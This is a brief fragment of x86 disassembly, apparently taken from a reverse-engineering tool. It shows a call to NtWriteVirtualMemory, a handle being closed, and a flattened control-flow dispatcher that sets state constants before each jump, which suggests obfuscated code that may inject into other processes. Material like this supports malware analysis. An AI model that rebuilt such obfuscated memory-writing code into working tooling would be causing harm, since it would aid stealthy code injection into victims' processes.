mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x194], 0xa79751ec
jmp 0x10007a4f
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x194], 0xc744a699
jmp 0x10007a4f
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x194], 0xf2a85327
jmp 0x10007a4f
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x194], 0xa9e8b7c5
jmp 0x10007a4f
jmp 0x100042e0